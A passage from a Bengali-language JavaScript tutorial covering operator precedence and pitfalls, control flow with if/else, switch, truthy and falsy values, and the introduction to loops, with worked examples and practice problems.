const date = new Date();

console.log(date instanceof Date);

Output:

true

OOP এবং prototypes শেখার সময় instanceof আরও পরিষ্কার হবে।

Part 07 — Operator Precedence & Complex Expressions (76 – 83)
76 Operator Precedence

একটি expression-এ একাধিক operator থাকলে কোনটা আগে execute হবে?

এটা নির্ধারণ করে operator precedence

Example:

JavaScriptExample
console.log(10 + 5 * 2);

অনেকে ভাবতে পারে:

10 + 5 = 15 15 × 2 = 30

কিন্তু output:

20

কারণ multiplication আগে:

5 × 2 = 10 10 + 10 = 20
77 Parentheses () দিয়ে Priority Control

যদি তুমি addition আগে করতে চাও:

JavaScriptExample
console.log((10 + 5) * 2);

Output:

30

কারণ:

10 + 5 = 15 15 × 2 = 30
Golden Rule ⭐

যদি precedence নিয়ে confusion হয়, parentheses ব্যবহার করো।

78 Common Precedence Idea

সাধারণভাবে:

() ↓ ** ↓ *, /, % ↓ +, - ↓ >, <, >=, <= ↓ ==, ===, !=, !== ↓ && ↓ || ↓ ?? ↓ ? : ↓ assignment

এটা পুরো specification-এর সম্পূর্ণ table নয়; বরং practical mental model।

79 A Big Example

এখন অনেক operator একসাথে:

JavaScriptExample
const price = 500;
const quantity = 3;
const discount = 100;

const total = price * quantity - discount;

console.log(total);

Calculation:

500 × 3 = 1500 1500 - 100 = 1400

Output:

1400
80 Real-World Shopping Example
JavaScriptExample
const productPrice = 1200;
const quantity = 2;
const discount = 300;
const deliveryCharge = 100;

const subtotal = productPrice * quantity;
const total = subtotal - discount + deliveryCharge;

console.log("Subtotal:", subtotal);
console.log("Total:", total);

Output:

Subtotal: 2400 Total: 2200
81 Logical + Comparison Example
JavaScriptExample
const age = 22;
const hasId = true;

const canEnter = age >= 18 && hasId;

console.log(canEnter);

Output:

true

এখানে:

age >= 18 ↓ true hasId ↓ true true && true ↓ true
82 || + ?? Example
JavaScriptExample
const username = "";

console.log(username || "Guest");

Output:

Guest

কারণ empty string falsy।

কিন্তু:

JavaScriptExample
const username = "";

console.log(username ?? "Guest");

Output:

এখানে empty string null বা undefined নয়, তাই fallback হয়নি।

83 Optional Chaining + Nullish Coalescing

এই combination real-world frontend development-এ অনেক useful।

JavaScriptExample
const user = {};

const city = user.profile?.address?.city ?? "Unknown";

console.log(city);

Output:

Unknown

এখানে:

user.profile ↓ undefined ↓ ?. prevents error ↓ undefined ↓ ?? "Unknown" ↓ "Unknown"
Part 08 — Common Pitfalls & Financial Precision (84 – 88)
84 Common Mistake — = vs ===

❌ ভুল ধারণা:

JavaScriptExample
if (age = 18)

এখানে = assignment operator।

Comparison করতে সাধারণত:

JavaScriptExample
if (age === 18)

ব্যবহার করবে।

85 Common Mistake — == vs ===
JavaScriptExample
console.log(0 == false);

Output:

true

কিন্তু:

JavaScriptExample
console.log(0 === false);

Output:

false

কারণ:

0 → number false → boolean

Modern JS-এ strict equality সাধারণত safer/predictable choice।

86 Common Mistake — String + Number
JavaScriptExample
console.log("Price: " + 100 + 50);

Output:

Price: 10050

কারণ প্রথম +-এর পর String concatenation শুরু হয়েছে।

যদি 100 + 50 করতে চাও:

JavaScriptExample
console.log("Price: " + (100 + 50));

Output:

Price: 150
87 Common Mistake — Floating Point

JavaScript-এর floating-point arithmetic-এ কিছু surprising result হতে পারে।

JavaScriptExample
console.log(0.1 + 0.2);

Output:

0.30000000000000004

কেন?

কারণ computer সাধারণত decimal fraction-কে binary floating-point representation-এ store করে, এবং কিছু decimal value exactভাবে represent করা যায় না।

এটা JavaScript-এর একার সমস্যা নয়; IEEE 754 floating-point systems-এর সাধারণ limitation।

88 Financial Calculation-এর ক্ষেত্রে সতর্কতা

যেমন:

JavaScriptExample
console.log(0.1 + 0.2);

Expected:

0.3

কিন্তু actual:

0.30000000000000004

Real-world financial systems-এ floating-point-এর বদলে integer smallest unit (যেমন cents/paisa) বা appropriate decimal/money handling ব্যবহার করা হয়।

এটা advanced application development-এ খুব important।

Part 09 — Operator Cheat Sheet, Practice & Project (89 + Practice)
89 Chapter 3 — Operator Cheat Sheet
Arithmetic
+ - * / % **
Assignment
= += -= *= /= %= **=
Comparison
> < >= <=
Equality
== === != !==
Logical
&& || !
Increment/Decrement
++ --
Conditional
? :
Modern Operators
?? ?.
Other
typeof in instanceof
Bitwise
& | ^ ~ << >> >>>

🧠 Chapter 3 — Quick Revision

এক লাইনে মনে রাখো:

মৌলিক সারমর্ম: Operator data-এর উপর operation করে, আর expression সেই operation-এর মাধ্যমে একটি value produce করতে পারে।
Expression Structure10 + 20
10 + 20
এখানে: 10 → Operand + → Operator 20 → Operand 30 → Result

Operators-এর বড় পিকচার (Mental Architecture):

Operators │ ┌────────────────┼────────────────┐ │ │ │ Arithmetic Comparison Logical │ │ │ + - * / % ** > < === !== && || ! │ │ │ └────────────────┼────────────────┘ │ Assignment │ = += -= *= /= %= │ Modern JS │ ?? ?. ?:

🧪 Chapter 3 — Practice Set

এগুলো আগে নিজে output predict করবে, তারপর browser console-এ run করবে:

Practice 1 (Basic Arithmetic & Modulus):
console.log(20 + 10);
console.log(20 - 10);
console.log(20 * 10);
console.log(20 / 10);
console.log(20 % 3);
console.log(2 ** 5);
Practice 2 (Compound Assignment Flow):
let score = 100;

score += 20;
score -= 10;
score *= 2;
score /= 2;

console.log(score);

Final output কী হবে?

Practice 3 (Comparison & Equality Contrast):
console.log(10 > 5);
console.log(10 < 5);
console.log(10 >= 10);
console.log(10 <= 9);
console.log(10 == "10");
console.log(10 === "10");

প্রতিটির output explain করো।

Practice 4 (Logical Truth Tables):
console.log(true && false);
console.log(true || false);
console.log(!true);
console.log(!false);
Practice 5 (String vs Number Arithmetic Coercion):
console.log("5" + 2);
console.log("5" - 2);
console.log("5" * 2);
console.log("5" / 2);

কেন প্রথমটার behavior অন্যগুলোর থেকে আলাদা—নিজে explain করার চেষ্টা করো।

Practice 6 (Ternary Operator):
const age = 17;
const result = age >= 18 ? "Adult" : "Minor";
console.log(result);
Practice 7 (Optional Chaining `?.`):
const user = {
  profile: {
    name: "Ripon"
  }
};

console.log(user.profile?.name);
console.log(user.address?.city);
Practice 8 — Real Project Logic:
ধরো: Product Price = 1500 Quantity = 3 Discount = 500 Delivery = 100

JavaScript দিয়ে SubtotalFinal Total বের করো।

🎯 Chapter 3 Mini Project — Shopping Cart Calculator

নিজে এই logic তৈরি করার চেষ্টা করো:

Cart Calculation Structure: Product Price Quantity Discount Delivery Charge ---------------- Subtotal = (Price * Quantity) Final Total = Subtotal - Discount + Delivery Charge
Example Data:
Product Price: 800 | Quantity: 2 | Discount: 100 | Delivery: 60
Expected: Subtotal: 1600 | Final Total: 1560
JavaScriptShopping Cart Calculator Implementation
const productPrice = 800;
const quantity = 2;
const discount = 100;
const deliveryCharge = 60;

// 1. Subtotal calculation
const subtotal = productPrice * quantity;

// 2. Final Total calculation
const finalTotal = subtotal - discount + deliveryCharge;

console.log("Subtotal:", subtotal);       // 1600
console.log("Final Total:", finalTotal);   // 1560

এখানে ব্যবহৃত হয়েছে: Variables, Arithmetic operators, Assignment এবং console.log()

⭐ Chapter 3-এর Must-Know Concepts

+ - * / % ** = += -= *= /= > < >= <= == === != !== && || ! ++ -- ? : ?? ?. typeof

এর মধ্যে ===, &&, ||, ??, ?., %, ++/--, ternary এবং operator precedence বিশেষভাবে ভালোভাবে practice করবে।

📌 পরবর্তী অধ্যায় — Chapter 4 Preview

Chapter 4 — Control Flow & Decision Making

এখানে JavaScript কীভাবে decision নেয় সেটা শুরু হবে:

if, else, else if, nested if switch, case, default, break, fall-through truthy, falsy, logical conditions, ternary

এরপর আমরা ধাপে ধাপে Loops → Functions → Strings → Arrays → Objects → Scope → DOM → Events → Async JavaScript → APIs → OOP → Advanced JavaScript → JavaScript Internals-এর দিকে এগিয়ে যাব।

Chapter 04
↑ Index
Control Flow & Decision Making — শর্ত ও সিদ্ধান্ত গ্রহণ
Total Sections
45 Modules + Practice
Curriculum Part
Part 02 — Control Flow
Core Mechanics
Branching, Truthy & Short-Circuit
Reference Standard
ECMAScript 2026 / V8 Runtime

Control Flow & Decision Making — Program কোন পথে চলবে তা নিয়ন্ত্রণ করা

JavaScript-এর code সাধারণত উপরে থেকে নিচে, একটার পর একটা execute হয়। কিন্তু বাস্তব program-এ সবসময় এমন হয় না। যেমন:

  • বয়স 18 বা তার বেশি হলে → Account তৈরি করবে
  • Password ভুল হলে → Error দেখাবে
  • User logged in হলে → Dashboard দেখাবে
  • Product stock-এ থাকলে → Buy button দেখাবে
  • শুক্রবার হলে → বিশেষ message দেখাবে

এই ধরনের condition অনুযায়ী program-এর execution path পরিবর্তন করাকে বলা হয় Control Flow।

Part 01 — Core Branching & Conditionals (4.1 – 4.10)
4.1 What is Control Flow?
Definition: Control Flow = Program-এর code কোন order-এ এবং কোন condition-এর ভিত্তিতে execute হবে।
Real-Life Example

ধরো তুমি একটা shopping website-এ login করছো। সেখানে সিদ্ধান্ত গ্রহণ পদ্ধতি:

Email + Password ↓ সঠিক? ┌─────┴─────┐ Yes No ↓ ↓ Dashboard Error

JavaScript-এ এই decision নেওয়ার জন্য সবচেয়ে বেশি ব্যবহার হয়:

if, else, else if, Nested if, switch, case, default, break, continue, Ternary operator, Truthy / Falsy, Logical conditions

4.2 `if` Statement
`if` কী?

if ব্যবহার করে আমরা কোনো condition true হলে নির্দিষ্ট code execute করতে পারি।

Syntax
JavaScript SyntaxSyntax
if (condition) {
    // code
}
Example
JavaScriptExample
let age = 20;

if (age >= 18) {
    console.log("You are an adult.");
}
Output
You are an adult.
কীভাবে কাজ করছে?

এখানে age >= 18 অর্থাৎ 20 >= 18 এর ফলাফল true। তাই { } এর ভিতরের code execute হয়েছে।

4.3 `if` Condition False হলে
JavaScriptFalse Condition
let age = 15;

if (age >= 18) {
    console.log("You are an adult.");
}
Output
কিছুই দেখাবে না
কারণ: 15 >= 18 এর ফলাফল false। তাই if block execute হয়নি।
4.4 `if...else`

যখন condition true হলে এক কাজ, আর false হলে অন্য কাজ করতে হবে, তখন if...else ব্যবহার করি।

Syntax
JavaScript SyntaxSyntax
if (condition) {
    // true হলে
} else {
    // false হলে
}
Example
JavaScriptVoting Check
let age = 16;

if (age >= 18) {
    console.log("You can vote.");
} else {
    console.log("You cannot vote yet.");
}
Output
You cannot vote yet.
Real-Life Example — ATM-এ
Balance >= Withdraw Amount? ↓ Yes → টাকা দাও No → Insufficient Balance
JavaScriptATM Flow
let balance = 5000;
let withdraw = 7000;

if (balance >= withdraw) {
    console.log("Please collect your money.");
} else {
    console.log("Insufficient balance.");
}
Output
Insufficient balance.
4.5 `if...else if...else`

যখন একাধিক condition check করতে হবে তখন else if ব্যবহার করি।

Syntax
JavaScript SyntaxSyntax
if (condition1) {
    // code
} else if (condition2) {
    // code
} else if (condition3) {
    // code
} else {
    // code
}
Example — Marks
JavaScriptGrade Calculation
let marks = 85;

if (marks >= 80) {
    console.log("Grade A+");
} else if (marks >= 70) {
    console.log("Grade A");
} else if (marks >= 60) {
    console.log("Grade A-");
} else if (marks >= 50) {
    console.log("Grade B");
} else {
    console.log("Fail");
}
Output
Grade A+
Important: JavaScript উপরের condition থেকে check করে। একটা matching condition পাওয়ার পর নিচেরগুলো আর check করে না।
4.6 Multiple Conditions (`&&` — AND)

একটা if-এর মধ্যে একাধিক condition দেওয়া যায়। এখানে আমরা Chapter 3-এর logical operators ব্যবহার করব।

`&&` — AND: দুটো condition-ই true হতে হবে।
JavaScriptLogical AND
let age = 25;
let hasNID = true;

if (age >= 18 && hasNID) {
    console.log("You can open the account.");
}
Output
You can open the account.

কারণ: age >= 18 → true এবং hasNID → true; সুতরাং true && true → true

4.7 `||` — OR
`||` — OR: যেকোনো একটি condition true হলেই হবে।
JavaScriptLogical OR
let hasEmail = true;
let hasPhone = false;

if (hasEmail || hasPhone) {
    console.log("You can create an account.");
}
Output
You can create an account.

কারণ: true || false → true

4.8 `!` — NOT

! condition-এর result উল্টে দেয়।

JavaScriptLogical NOT
let isLoggedIn = false;

if (!isLoggedIn) {
    console.log("Please login first.");
}
Output
Please login first.

কারণ: isLoggedIn = false, তাই !false হয়ে যায় true

4.9 Nested `if`

একটি if-এর ভিতরে আরেকটি if থাকলে তাকে Nested if বলে।

JavaScriptNested IF
let age = 22;
let hasNID = true;

if (age >= 18) {
    if (hasNID) {
        console.log("Account can be created.");
    }
}
Output
Account can be created.
Real-Life Example — Bank account খুলতে
Age >= 18? ↓ Yes NID আছে? ↓ Yes Account Create
JavaScriptBank Account Logic
if (age >= 18) {
    if (hasNID) {
        console.log("Account created.");
    }
}
4.10 Nested `if...else`
JavaScriptNested if...else
let isLoggedIn = true;
let isAdmin = false;

if (isLoggedIn) {
    if (isAdmin) {
        console.log("Welcome Admin.");
    } else {
        console.log("Welcome User.");
    }
} else {
    console.log("Please login.");
}
Output
Welcome User.
Part 02 — Multi-Way Branching & Switch Statement (4.11 – 4.17)
4.11 `switch` Statement

যখন একটি variable-এর একাধিক নির্দিষ্ট value check করতে হয়, তখন switch অনেক useful।

Syntax
JavaScript SyntaxSyntax
switch (value) {
    case value1:
        // code
        break;
    case value2:
        // code
        break;
    default:
        // code
}
Example
JavaScriptDay of Week
let day = 3;

switch (day) {
    case 1:
        console.log("Saturday");
        break;
    case 2:
        console.log("Sunday");
        break;
    case 3:
        console.log("Monday");
        break;
    case 4:
        console.log("Tuesday");
        break;
    default:
        console.log("Invalid day");
}
Output
Monday

কারণ: day = 3 তাই case 3 match করেছে।

4.12 `case`

switch-এর মধ্যে প্রতিটি possible value-কে case বলা হয়।

JavaScriptCase Structure
switch (day) {
    case 1:
        console.log("Saturday");
        break;
    case 2:
        console.log("Sunday");
        break;
}

এখানে case 1 এবং case 2 দুটি possible case।

4.13 `break`

break ব্যবহার করে switch execution বন্ধ করা হয়।

JavaScriptBreak in Action
let number = 2;

switch (number) {
    case 1:
        console.log("One");
        break;
    case 2:
        console.log("Two");
        break;
    case 3:
        console.log("Three");
        break;
}
Output
Two

case 2 match করার পর break; এর কারণে switch শেষ হয়ে যায়।

4.14 `break` না দিলে কী হয়? (Fall-through)
খুব গুরুত্বপূর্ণ: break না দিলে নিচের সব case execute হয়ে যায়, একে Fall-through বলে!
JavaScriptFall-through Bug
let number = 2;

switch (number) {
    case 1:
        console.log("One");
    case 2:
        console.log("Two");
    case 3:
        console.log("Three");
    default:
        console.log("Other");
}
Output
Two
Three
Other

ব্যাখ্যা: অর্থাৎ case 2 match করার পর break না থাকায় পরের case-গুলোর code-ও execute করেছে।

4.15 Intentional Fall-through

কখনো কখনো আমরা ইচ্ছা করেই একাধিক case একই code-এর জন্য ব্যবহার করি।

JavaScriptGrouped Cases
let day = "Saturday";

switch (day) {
    case "Saturday":
    case "Sunday":
        console.log("Weekend");
        break;
    default:
        console.log("Working day");
}
Output
Weekend

এখানে Saturday এবং Sunday দুটোতেই একই output প্রদর্শন করছে।

4.16 `default`

কোনো case match না করলে default execute হয়।

JavaScriptDefault Case
let day = 10;

switch (day) {
    case 1:
        console.log("Saturday");
        break;
    case 2:
        console.log("Sunday");
        break;
    default:
        console.log("Invalid day");
}
Output
Invalid day
Real-Life Example — Payment Method
Payment Method: 1 → bKash 2 → Nagad 3 → Card অন্য কিছু → Invalid Payment Method
4.17 `switch` বনাম `if...else`

দুটো দিয়েই decision নেওয়া যায়। কিন্তু ব্যবহারের ক্ষেত্র ভিন্ন:

`if...else`: Range বা complex condition-এর জন্য ভালো:

JavaScriptRange Check
let marks = 75;
if (marks >= 80) {
    console.log("A+");
} else if (marks >= 70) {
    console.log("A");
}

`switch`: Specific value-এর জন্য convenient:

JavaScriptExact Match
let role = "admin";
switch (role) {
    case "admin":
        console.log("Admin Panel");
        break;
    case "user":
        console.log("User Dashboard");
        break;
}
তুলনামূলক চার্ট
Situationসাধারণত ব্যবহার্য
Range checkif...else
Complex conditionif...else
Exact value matchswitch
অনেকগুলো নির্দিষ্ট optionswitch
Part 03 — Truthy, Falsy & Modern Short-Circuiting (4.18 – 4.31)
4.18 Truthy & Falsy

JavaScript-এর অন্যতম গুরুত্বপূর্ণ concept। if condition-এর মধ্যে JavaScript কোনো value-কে automatically true বা false হিসেবে evaluate করে।

Value in Condition ↓ ┌─────┴─────┐ Truthy Falsy (True মত) (False মত)
4.19 Falsy Values

JavaScript-এ প্রধান ৮টি falsy values:

false, 0, -0, 0n, "" (empty string), null, undefined, NaN

এগুলো condition-এর মধ্যে false হিসেবে behave করে।

JavaScriptFalsy Evaluation
let username = "";

if (username) {
    console.log("Username exists.");
} else {
    console.log("Username is empty.");
}
Output
Username is empty.

কারণ: "" একটি falsy value।

4.20 Truthy Values

Falsy ছাড়া প্রায় সব value truthy। উদাহরণ: "hello", 42, -10, [], {}, true

JavaScriptTruthy Evaluation
let username = "Shariar";

if (username) {
    console.log("Username exists.");
}
Output
Username exists.
4.21 Empty Array `[]` কি falsy?
উত্তর: না। এটি truthy!
JavaScriptEmpty Array
if ([]) {
    console.log("Array is truthy");
}
Output
Array is truthy
4.22 Empty Object `{}` কি falsy?
উত্তর: না। Empty Object-ও truthy! এটা beginnerদের জন্য খুব important।
JavaScriptEmpty Object
if ({}) {
    console.log("Object is truthy");
}
Output
Object is truthy
4.23 Conditional Operator / Ternary Operator

আগের Chapter-এ আমরা Ternary দেখেছি। এটা if...else-এর ছোট version।

Syntax
JavaScript SyntaxSyntax
condition ? valueIfTrue : valueIfFalse;
Example
JavaScriptTernary
let age = 20;
let result = age >= 18 ? "Adult" : "Minor";
console.log(result);
Output
Adult

Equivalent `if...else`:

JavaScriptEquivalent Code
let age = 20;
let result;
if (age >= 18) {
    result = "Adult";
} else {
    result = "Minor";
}
console.log(result);

দুটোর output হুবহু একই।

4.24 Real-Life Ternary Example

ধরো website-এ login status দেখাতে হবে:

JavaScriptLogin Status
let isLoggedIn = true;

let message = isLoggedIn
    ? "Welcome back!"
    : "Please login.";

console.log(message);
Output
Welcome back!
4.25 Nested Ternary

Ternary-এর ভিতরে Ternary দেওয়া যায়।

JavaScriptNested Ternary
let marks = 85;

let grade =
    marks >= 80 ? "A+"
    : marks >= 70 ? "A"
    : marks >= 60 ? "A-"
    : "Fail";

console.log(grade);
Output
A+
কিন্তু সাবধান ⚠️: অনেক বেশি nested ternary code difficult to read করতে পারে। তাই complex logic হলে if...else ব্যবহার করা বেশি readable।
4.26 Short-Circuit Decision Making

Chapter 3-এ আমরা short-circuit দেখেছি। এখন control flow-এর সঙ্গে এটি ব্যবহার করি।

`&&` শর্ট-সার্কিট গার্ড প্যাটার্ন
JavaScriptShort-Circuit Guard
let isLoggedIn = true;

isLoggedIn && console.log("Show Dashboard");
Output
Show Dashboard

যদি isLoggedIn = false; হতো, তবে কিছু execute হতো না। কারণ false && anything → false

4.27 `||` দিয়ে Default Value
JavaScriptDefault Fallback
let username = "";

let displayName = username || "Guest";

console.log(displayName);
Output
Guest

কারণ: "" || "Guest""Guest"। Website-এ username না থাকলে Guest দেখাবে।

4.28 `??` Nullish Coalescing

|| এবং ?? এক জিনিস না। ?? শুধুমাত্র null অথবা undefined হলে right side value নেয়।

JavaScriptNullish Fallback
let username = null;
let name = username ?? "Guest";
console.log(name); // Guest

let username2 = "";
let name2 = username2 ?? "Guest";
console.log(name2); // "" (Empty string সংরক্ষিত থাকবে কারণ এটি null বা undefined নয়)
Output
Guest
"" (খালি স্ট্রিং)
4.29 `||` বনাম `??`
JavaScriptComparison
let value = 0;

console.log(value || 100);
console.log(value ?? 100);
Output
100
0
সহজে মনে রাখবে:
|| → falsy (যেমন: 0, "") হলেই fallback ভ্যালু নেয়।
?? → শুধুমাত্র null / undefined হলেই fallback ভ্যালু নেয় (0 বা "" বহাল রাখে)।
4.30 Optional Chaining `?.` দিয়ে Safe Decision

ধরো let user = {};। এখন console.log(user.profile.name); দিলে TypeError দিয়ে crash করতে পারে কারণ profile নেই।

Optional chaining দিলে crash না করে undefined রিটার্ন করে:

JavaScriptOptional Chaining
let user = {};
console.log(user.profile?.name);
Output
undefined

এতে program crash না করে নিরাপদে undefined পাওয়া যায়।

4.31 `if` + Optional Chaining
JavaScriptSafe Condition
let user = {
    profile: {
        name: "Shariar"
    }
};

if (user.profile?.name) {
    console.log("Name:", user.profile.name);
}
Output
Name: Shariar
Part 04 — Real-World Business Logic & Systems (4.32 – 4.37)
4.32 Multiple Conditions Example — Login System

এবার একটা real-world login system দেখি:

JavaScriptAuth Verification
let email = "user@gmail.com";
let password = "123456";
let isVerified = true;

if (
    email === "user@gmail.com" &&
    password === "123456" &&
    isVerified
) {
    console.log("Login successful.");
} else {
    console.log("Invalid login information.");
}
Output
Login successful.

এখানে ৩টি condition: email === "user@gmail.com", password === "123456", এবং isVerified। সবকটি true হওয়ায় true && true && true → true

4.33 E-commerce Example

ধরো একটি পণ্য ক্রয়ের লজিক:

JavaScriptPurchase Decision
let price = 1500;
let stock = 5;
let isLoggedIn = true;

if (isLoggedIn && stock > 0) {
    console.log("You can buy this product.");
} else {
    console.log("You cannot buy this product.");
}
Output
You can buy this product.
4.34 Discount System
JavaScriptTiered Discount
let totalAmount = 6000;

if (totalAmount >= 10000) {
    console.log("20% discount");
} else if (totalAmount >= 5000) {
    console.log("10% discount");
} else if (totalAmount >= 2000) {
    console.log("5% discount");
} else {
    console.log("No discount");
}
Output
10% discount
Real-Life Flow
৳10,000+ → 20% ৳5,000+ → 10% ৳2,000+ → 5% এর কম → No discount
4.35 Grading System

এটা নিজে খুব ভালোভাবে practice করবে। পুরো গ্রেডিং ল্যাডার:

JavaScriptGrade Ladder
let marks = 76;

if (marks >= 80) {
    console.log("A+");
} else if (marks >= 70) {
    console.log("A");
} else if (marks >= 60) {
    console.log("A-");
} else if (marks >= 50) {
    console.log("B");
} else if (marks >= 40) {
    console.log("C");
} else if (marks >= 33) {
    console.log("D");
} else {
    console.log("F");
}
Output
A
4.36 Login + Role Based Access (RBAC)

এটা real-world web development-এ খুব common:

JavaScriptRBAC Logic
let isLoggedIn = true;
let role = "admin";

if (isLoggedIn) {
    if (role === "admin") {
        console.log("Welcome to Admin Dashboard.");
    } else if (role === "teacher") {
        console.log("Welcome to Teacher Dashboard.");
    } else {
        console.log("Welcome to User Dashboard.");
    }
} else {
    console.log("Please login first.");
}
Output
Welcome to Admin Dashboard.

এই ধরনের logic পরে React, Node.js, Express, authentication system ইত্যাদিতে অনেক কাজে লাগবে।

4.37 `switch` দিয়ে Role System

একই কাজ switch দিয়েও পরিষ্কারভাবে করা যায়:

JavaScriptSwitch RBAC
let role = "teacher";

switch (role) {
    case "admin":
        console.log("Admin Dashboard");
        break;
    case "teacher":
        console.log("Teacher Dashboard");
        break;
    case "student":
        console.log("Student Dashboard");
        break;
    default:
        console.log("Unknown Role");
}
Output
Teacher Dashboard
Part 05 — Common Traps, Syntax Gotchas & Best Practices (4.38 – 4.42)
4.38 Important Difference: `==` vs `===`

Control flow-এ এটি অনেক important:

JavaScriptLoose Equality Trap
let age = "18";

if (age == 18) {
    console.log("Matched"); // Type coercion হয়, তাই execute করে
}

if (age === 18) {
    console.log("Matched"); // Type ভিন্ন ("18" string vs 18 number), তাই কিছুই দেখাবে না
}
Best Practice: সাধারণত condition-এ সবসময় strict equality === ব্যবহার করা উচিত।
4.39 Common Mistake: `=` এবং `===`
ভুল (Assignment Bug):
if (age = 18) { console.log("Adult"); }
এখানে = হলো assignment operator। এটি variable-এ 18 assign করে দেয় এবং 18 truthy হওয়ায় সর্বদা true হয়ে যায়!
সঠিক (Comparison):
if (age === 18) { console.log("Adult"); }
4.40 Common Mistake: Semicolon নিয়ে সমস্যা
ভুল Logic:
if (age >= 18); { console.log("Adult"); }
এখানে ; এর কারণে if-এর স্টেটমেন্ট সেখানেই শেষ হয়ে যায় এবং { } ব্লকটি সাধারণ ব্লক হিসেবে সবসময় রান হয়!
সঠিক: if (age >= 18) { console.log("Adult"); } (if ব্র্যাকেটের শেষে সেমিকোলন দেওয়া যাবে না)।
4.41 Curly Braces ব্যবহার করা

Technically single statement হলে braces ছাড়া লেখা যায়:

JavaScriptSingle Statement
if (age >= 18)
    console.log("Adult");

কিন্তু professional code-এ সবসময় কার্লি ব্রেসেস { } ব্যবহার করা হয়:

JavaScriptBest Practice
if (age >= 18) {
    console.log("Adult");
}

এতে code readable এবং maintainable হয়।

4.42 Control Flow-এর Complete Picture

এখন পুরো Chapter-এর concept একসাথে:

IF - ELSE IF - ELSE FLOW
Program ↓ Condition? / \ true false ↓ ↓ if else ↓ Another condition? / \ true false ↓ ↓ else if else
SWITCH - CASE FLOW
switch ↓ ┌────────┼────────┐ case 1 case 2 case 3 ↓ ↓ ↓ break break break ↓ default
Part 06 — Mini-Projects, Cheat Sheet & Practice (4.43 – 4.45 + Q&A)
4.43 Real-World Mini Project — ATM Decision System

এবার সব concept ব্যবহার করে একটি বাস্তবমুখী ATM প্রজেক্টের লজিক:

JavaScriptATM Engine
let balance = 10000;
let withdrawAmount = 3000;
let pinCorrect = true;

if (pinCorrect) {
    if (withdrawAmount <= balance) {
        balance -= withdrawAmount;
        console.log("Withdrawal successful.");
        console.log("Withdrawn:", withdrawAmount);
        console.log("Remaining balance:", balance);
    } else {
        console.log("Insufficient balance.");
    }
} else {
    console.log("Incorrect PIN.");
}
Output
Withdrawal successful.
Withdrawn: 3000
Remaining balance: 7000

কী হচ্ছে? প্রথমে pinCorrect চেক করছে → সঠিক হলে withdrawAmount <= balance চেক করছে → টাকা কেটে নিয়ে অবশিষ্ট ব্যালেন্স 10000 - 3000 = 7000 আপডেট করছে।

4.44 Mini Project — Online Shopping Checkout
JavaScriptCheckout Flow
let isLoggedIn = true;
let productInStock = true;
let price = 2500;
let balance = 3000;

if (isLoggedIn) {
    if (productInStock) {
        if (balance >= price) {
            balance -= price;
            console.log("Order placed successfully.");
            console.log("Remaining balance:", balance);
        } else {
            console.log("Insufficient balance.");
        }
    } else {
        console.log("Product is out of stock.");
    }
} else {
    console.log("Please login first.");
}
Output
Order placed successfully.
Remaining balance: 500
4.45 Chapter 4 — Quick Cheat Sheet
Conceptকাজ
ifCondition true হলে code চালায়
elseCondition false হলে code চালায়
else ifMultiple condition check করে
Nested ifif-এর ভিতরে if
switchSpecific value match করে
caseswitch-এর possible value
breakswitch/loop থেকে বের হয়
defaultকোনো case match না করলে চলে
&&সব condition true হতে হবে
||যেকোনো একটি true হলেই হবে
!Boolean result উল্টায়
?:Short if...else (Ternary)
??null/undefined হলে fallback
?.Safe property access (Optional Chaining)
Truthyif-এ true হিসেবে behave করে
Falsyif-এ false হিসেবে behave করে

🧠 Chapter 4 — Must Remember

1️⃣ `if`:
if (condition) {
    // code
}
2️⃣ `if...else`:
if (condition) {
    // true
} else {
    // false
}
3️⃣ `else if`:
if (c1) { }
else if (c2) { }
else { }
4️⃣ `switch`:
switch (val) {
  case 1: break;
  default:
}
5️⃣ Ternary:
condition ? trueVal : falseVal;
6️⃣ Truthy/Falsy:
if (value) { // truthy }
7️⃣ Default value (`??`):
let name = username ?? "Guest";

📝 Chapter 4 — Practice Questions

Basic Conceptual Questions
  1. if statement কী?
  2. if এবং else-এর মধ্যে পার্থক্য কী?
  3. else if কখন ব্যবহার করা হয়?
  4. switch কী?
  5. break কেন ব্যবহার করা হয়?
  6. default কী?
  7. Truthy এবং Falsy কী?
  8. JavaScript-এর প্রধান falsy values কী কী?
  9. && এবং ||-এর মধ্যে পার্থক্য কী?
  10. Ternary operator কী?
Coding Practice Problems
Problem 1 — Even/Odd:
let number = 25;

Check করো number even নাকি odd।
Expected: Odd

Problem 2 — Age Checker:
let age = 17;

Output দেখাও: Adult অথবা Minor

Problem 3 — Grade System:
let marks = 92;

গ্রেডিং স্কেল অনুযায়ী Grade বের করো।

Problem 4 — Login System:
let email = "admin@gmail.com";
let password = "1234";
let isVerified = true;

সব ঠিক থাকলে: Login Successful, না হলে: Login Failed

Problem 5 — Shopping:
let price = 5000;
let balance = 6000;
let inStock = true;

Check করো product কেনা যাবে কি না।

🚀 Chapter 4 শেষ করার পর তুমি যা বুঝবে

এই Chapter শেষ করলে তুমি JavaScript-এ:

Condition ↓ Decision ↓ Different Code Path

এই পুরো concept বুঝে যাবে। এগুলোই পরে বাস্তব application-এর:

  • Login system
  • Signup validation
  • Admin/User role
  • Shopping cart
  • Payment checking
  • Attendance system
  • Dashboard access
  • Form validation
  • API response handling

ইত্যাদির basic decision-making logic তৈরি করবে।

📚 Next Chapter: Chapter 5 — Loops & Iteration

পরবর্তী অধ্যায়ে আমরা একদম বিস্তারিতভাবে শিখব:

for loop, while loop, do...while, for...of, for...in, Nested loops, break, continue, Infinite loop, Loop control, Arrays-এর সঙ্গে loop, Objects-এর সঙ্গে loop, Real-life examples, Pattern printing, Practical mini projects।

এবং প্রতিটি topic হবে Concept → Code → Output → সহজ Bangla explanation → Real-life example এই একই format-এ।

Chapter 05
↑ Index
Loops & Iteration — লুপ ও ইটারেশন
Total Sections
52 Modules + Practice
Curriculum Part
Part 02 — Core Mechanics (1/3)
Core Mechanics
Iteration, Iterables & Scope
Reference Standard
ECMAScript 2026 / V8 Runtime

Loops & Iteration — একই কাজ বারবার করার Smart উপায়

JavaScript-এ অনেক সময় আমাদের একই কাজ বারবার করতে হয়। যেমন:

  • 1 থেকে 100 পর্যন্ত number print করা
  • 100 জন student-এর নাম দেখানো
  • একটি shopping cart-এর সব product বের করা
  • database/API থেকে পাওয়া সব data process করা
  • 1, 2, 3, 4... এভাবে counting করা
  • কোনো condition পূরণ না হওয়া পর্যন্ত কাজ চালানো

প্রতিবার আলাদা করে code লিখলে:

JavaScriptWithout Loop (Inefficient)
console.log(1);
console.log(2);
console.log(3);
console.log(4);
console.log(5);

এভাবে 100 বার লিখতে হবে। 😵 তার পরিবর্তে Loop ব্যবহার করি।

